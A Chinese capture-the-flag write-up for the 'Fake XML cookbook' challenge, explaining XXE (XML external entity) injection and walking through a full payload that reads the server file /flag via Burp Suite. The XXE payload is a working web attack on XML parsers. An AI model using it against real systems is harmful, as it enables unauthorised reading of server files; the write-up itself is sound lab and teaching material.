题目场景:

#解题
先正常输入一个账号密码看看。

再来个SQL注入看看有没有啥不同。

结论是:没啥不同。
不折腾了,回头看一眼题目叫Fake XML cookbook,关键信息XML。
XXE漏洞(XML外部实体注入)
XML是可扩展标记语言,核心用途是传输、描述数据,标签可以自定义。
XXE漏洞是指利用外部实体引用读取服务器文件。
XXE读取文件代码示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>&xxe;</username>
<password>123456</password>
</user>
第一部分:XML声明
<?xml version="1.0" encoding="UTF-8"?>
<?xml … ?> :XML的专属声明格式,必须以这个开头。
version="1.0" :XML的版本。
encoding="UTF-8" :字符编码。
第二部分:DOCTYPE实体定义
<!DOCTYPE user[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<!DOCTYPE 根标签名> :定义XML的文档类型。
<!ENTITY 实体名 类型 "目标地址"> :xxe是给变量起的名字,SYSTEM表示引用外部资源,"file:///flag"表示要读取的服务器文件路径。
第三部分:XML根标签
<user>
…
</user>
根标签需要和网站后端代码的标签保持一致。
第四部分:引用实体
<username>&xxe;</username>
<password>123456</password>
$xxe; :引用前面定义的xxe实体。
这题我们打开burp suite抓个包。

注意:这里可以看到,根标签就是<user></user>。
把数据包中原XML代码替换为恶意的XXE代码,如下图。

放包,页面回显:

Congratulations!
【个人理解,如有不妥,欢迎交流指正。】
